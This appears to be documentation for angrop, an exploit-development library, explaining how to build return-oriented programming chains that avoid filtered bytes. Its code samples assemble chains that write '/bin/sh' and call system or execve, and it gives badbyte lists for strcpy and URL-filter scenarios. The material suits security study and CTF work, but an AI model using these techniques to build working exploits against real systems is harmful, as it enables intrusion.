Many exploitation scenarios involve restricted bytes (badbytes) that cannot appear in your payload. Angrop provides sophisticated methods to automatically avoid badbytes in generated ROP chains.
What are Badbytes?
Badbytes are byte values that cannot appear in your exploit payload due to input filtering or processing. Common examples:
- Null bytes (
0x00) - Terminated by string functions like strcpy, scanf
- Newlines (
0x0a, 0x0d) - Terminated by line-oriented input functions
- Whitespace (
0x09, 0x20) - Filtered by input parsing
- Control characters - Stripped or modified by terminal handlers
- Application-specific - Custom filters in the target program
Badbytes can appear in:
- Gadget addresses - The address of the gadget itself
- Data values - Constants, strings, or pointers in the chain
- Intermediate values - Values created during chain execution
Angrop handles all three cases automatically.
Configuring Badbytes: set_badbytes()
Use the set_badbytes() method to specify restricted bytes before finding gadgets.
Method Signature
rop.set_badbytes(badbytes)
Parameters:
badbytes: List of 8-bit integers (0-255) representing restricted bytes
Basic Examples
Set common badbytes
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
# Avoid null bytes and newlines
rop.set_badbytes([0x00, 0x0a])
# Now find gadgets
rop.find_gadgets()
Set multiple badbytes
# Avoid null, newline, carriage return, and space
rop.set_badbytes([0x00, 0x09, 0x0a, 0x0d, 0x20])
rop.find_gadgets()
Use character values
# You can also use character strings
rop.set_badbytes([ord('\x00'), ord('\n'), ord(' ')])
# Or mix integers and characters
rop.set_badbytes([0x00, ord('\n'), ord(' ')])
Always call set_badbytes() before find_gadgets(). Setting badbytes after finding gadgets will filter out incompatible gadgets but may result in fewer available gadgets than if you set them first.
Retrieve the current badbytes configuration:
# Set badbytes
rop.set_badbytes([0x00, 0x0a])
# Later, check what's configured
badbytes = rop.get_badbytes()
print(f"Configured badbytes: {[hex(b) for b in badbytes]}")
# Output: Configured badbytes: ['0x0', '0xa']
How Badbyte Avoidance Works
Angrop uses multiple strategies to avoid badbytes:
1. Gadget Address Filtering
From the source code (rop.py:72-97), when gadgets are found:
# Pseudocode from angrop internals
for gadget in all_gadgets:
if gadget_address_contains_badbytes(gadget.addr):
# Try to find equivalent gadget without badbytes
equivalent = find_duplicate_gadget_safe_address(gadget)
if equivalent:
use(equivalent)
else:
skip(gadget)
Angrop maintains a database of duplicate gadgets (same instructions, different addresses) and substitutes safe addresses when available.
2. Value Construction via Arithmetic
When you need to set a register to a value containing badbytes, angrop constructs it using arithmetic operations:
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.set_badbytes([0x00, 0x0a])
rop.find_gadgets()
# Set register to value containing badbytes
chain = rop.set_regs(rax=0x0a0a0a0a) # Contains 0x0a badbytes
# Angrop might generate:
# pop rax; ret
# 0x0b0b0b0b <- Safe value
# dec rax; ret <- Subtract 0x01010101 using multiple dec
# Result: 0x0a0a0a0a without any 0x0a bytes in the chain!
From the source code (reg_setter.py:699-725), angrop tries:
- Concrete value gadgets - Gadgets that set registers to specific values
- Arithmetic chains - Using add/sub/xor/or/and to construct values
- Register moves - Moving from registers that can be safely set
When writing data containing badbytes to memory, angrop uses sophisticated multi-step transformations:
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.set_badbytes([0x00, 0x0a])
rop.find_gadgets()
# Write data containing badbytes
data = b"\x00\x0a\x0d\xff" # Contains 0x00 and 0x0a
chain = rop.write_to_mem(0x61b100, data)
# Angrop automatically:
# 1. Writes safe initial bytes (e.g., 0x01 instead of 0x00)
# 2. Uses mem_xor/mem_add/mem_and/mem_or to transform to target
# 3. Result: correct data in memory, no badbytes in chain
From the source code (mem_writer.py:213-250), angrop tries operations in order:
Try XOR transformation
# To write 0x0a (badbyte):
# Write 0x00 (if safe), then XOR with 0x0a via safe value
# Or write 0x0b (safe), then XOR with 0x01
Try OR transformation
# Write 0x00 (if safe), then OR with target value
# Useful when target has many bits set
Try AND transformation
# Write 0xFF (if safe), then AND with target
# Useful for clearing specific bits
Try ADD transformation
# Write safe base value, then ADD difference
# Example: Write 0x09, then ADD 1 to get 0x0a
The fill_byte parameter in write_to_mem() should never be a badbyte. Angrop will raise an error if you try to use a badbyte as the fill byte.
Real-World Example: Null-Free Exploit
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
# Configure for strcpy vulnerability (null-terminated)
rop.set_badbytes([0x00])
rop.find_gadgets()
# Build exploit chain
chain = rop.write_to_mem(0x61b100, b"/bin/sh\x00") # Contains null at end
chain += rop.set_regs(rdi=0x61b100) # Address doesn't contain null
chain += rop.func_call("system", [], preserve_regs={'rdi'})
# Verify no badbytes in chain
payload = chain.payload_str()
if 0x00 in payload:
print("ERROR: Null byte found!")
else:
print(f"Success! Null-free chain: {len(payload)} bytes")
chain.print_payload_code()
Common Badbyte Scenarios
Scenario 1: strcpy Vulnerability
# Null bytes terminate the copy
rop.set_badbytes([0x00])
# fgets or scanf %s terminate on newlines
rop.set_badbytes([0x00, 0x0a, 0x0d])
# URL encoding issues with special characters
rop.set_badbytes([
0x00, # Null
0x0a, 0x0d, # Newlines
0x20, # Space
0x22, # Double quote
0x25, # Percent
0x26, # Ampersand
0x3c, 0x3e, # < >
])
Scenario 4: Alphanumeric Shellcode
# Only allow alphanumeric characters
allowed = set(range(ord('0'), ord('9')+1)) | \
set(range(ord('A'), ord('Z')+1)) | \
set(range(ord('a'), ord('z')+1))
badbytes = [b for b in range(256) if b not in allowed]
rop.set_badbytes(badbytes)
Extremely restrictive badbyte lists (like alphanumeric-only) may make it impossible to find working gadgets. If find_gadgets() finds very few or no gadgets, you may need to reconsider your approach.
Troubleshooting Badbyte Issues
Issue 1: “Couldn’t set registers” Error
Cause: Too many badbytes make it impossible to construct required values.
Solutions:
try:
chain = rop.set_regs(rax=0x0a0a0a0a)
except angrop.errors.RopException:
# Try alternative approaches:
# 1. Use different value if possible
# 2. Use register moves from settable registers
# 3. Reduce badbyte restrictions if possible
chain = rop.move_regs(rax='rbx') + rop.set_regs(rbx=safe_value)
Issue 2: “Fail to write data to memory” Error
Cause: Can’t construct memory write chain without badbytes.
Solutions:
# Try with a different fill_byte
chain = rop.write_to_mem(addr, data, fill_byte=b"\xff") # Instead of default
# Or split writes into smaller chunks
for i in range(0, len(data), 4):
chunk = data[i:i+4]
chain += rop.write_to_mem(addr + i, chunk)
Issue 3: Very Few Gadgets Found
Cause: Badbytes eliminate too many gadget addresses.
Solutions:
Check badbyte configuration
print(f"Badbytes: {[hex(b) for b in rop.get_badbytes()]}")
# Verify you didn't accidentally set too many
Use fast_mode=False
# Find more gadgets
rop = proj.analyses.ROP(fast_mode=False)
rop.set_badbytes([0x00, 0x0a])
rop.find_gadgets()
Check gadget availability
print(f"Found {len(rop.rop_gadgets)} usable gadgets")
if len(rop.rop_gadgets) < 10:
print("WARNING: Very few gadgets available!")
Issue 4: Addresses Contain Badbytes
Cause: The binary loads at addresses containing badbytes.
Solutions:
# Check binary base address
print(f"Binary base: {hex(proj.loader.main_object.min_addr)}")
# For PIE binaries, you might need to leak addresses
# For non-PIE, you might need different exploitation technique
# Alternative: Use partial overwrites if possible
# Or find a different binary/library to exploit
Advanced Badbyte Techniques
Technique 1: Register Arithmetic Chains
When direct register setting fails, use arithmetic:
# Can't set rax to 0x0a0a0a0a directly (contains badbyte)
# Instead, construct it via arithmetic:
# Method 1: Addition
chain = rop.set_regs(rax=0x09090909) # Safe value
chain += rop.set_regs(rbx=0x01010101, preserve_regs={'rax'}) # Safe value
# Then use add rax, rbx gadget (if available)
# Method 2: XOR
chain = rop.set_regs(rax=0xffffffff)
chain += rop.set_regs(rbx=0xf5f5f5f5, preserve_regs={'rax'})
# Then use xor rax, rbx gadget
# Result: 0xffffffff ^ 0xf5f5f5f5 = 0x0a0a0a0a
Technique 2: Memory Staging
Write data to memory in multiple stages:
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.set_badbytes([0x00])
rop.find_gadgets()
# Stage 1: Write safe initial value
chain = rop.write_to_mem(0x61b100, b"\x01\x01\x01\x01")
# Stage 2: Modify to target value using mem_xor
chain += rop.mem_xor(0x61b100, 0x01010101, size=4)
# Result: 0x01010101 ^ 0x01010101 = 0x00000000 (contains nulls)
Technique 3: Gadget Equivalence
Angrop automatically finds equivalent gadgets at safe addresses:
# Angrop maintains duplicate gadget database
# If gadget at 0x401000 (contains badbyte) does:
# pop rax; ret
# And gadget at 0x402000 (safe) does the same:
# pop rax; ret
# Angrop automatically uses 0x402000
Best Practices
- Set badbytes early - Always before
find_gadgets()
- Be conservative - Only restrict truly necessary bytes
- Test payloads - Verify no badbytes in final chain
- Cache gadgets - Save and reuse gadgets for same binary+badbytes
- Understand constraints - Know why bytes are restricted
- Have fallbacks - Plan alternative exploitation if chains fail
Testing for Badbytes
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.set_badbytes([0x00, 0x0a])
rop.find_gadgets()
# Build your chain
chain = rop.execve()
# Get raw bytes
payload = chain.payload_str()
# Check for badbytes
badbytes = rop.get_badbytes()
found_badbytes = [b for b in badbytes if b in payload]
if found_badbytes:
print(f"ERROR: Found badbytes: {[hex(b) for b in found_badbytes]}")
print(f"At positions: {[payload.index(b) for b in found_badbytes]}")
else:
print("Success! No badbytes in payload")
print(f"Payload length: {len(payload)} bytes")
Badbyte restrictions affect performance:
- Gadget finding: Slower as more gadgets are filtered
- Chain building: May require longer chains to avoid badbytes
- Optimization: More complex constraint solving
Performance tips:
- Cache gadgets for reuse across exploits
- Use
optimize=True to discover alternative gadget chains
- Start with minimal badbyte restrictions and add only as needed
Badbyte Limitations
When Badbyte Avoidance Fails
Some situations make badbyte-free chains impossible:
- Binary base contains badbytes - Non-PIE binary at bad address
- Too many badbytes - Overly restrictive filter (e.g., alphanumeric-only)
- Required values contain badbytes - Specific addresses or constants needed
- Insufficient gadgets - Not enough safe gadgets available
Alternative Approaches
When angrop can’t generate badbyte-free chains:
# Approach 1: Encoding/Decoding
# Write encoded payload, then decode in memory
# Approach 2: Partial Overwrites
# Overwrite only parts of addresses/values
# Approach 3: Different Primitive
# Use different vulnerability (format string, etc.)
# Approach 4: Heap Feng Shui
# Arrange heap to place data at safe addresses
Next Steps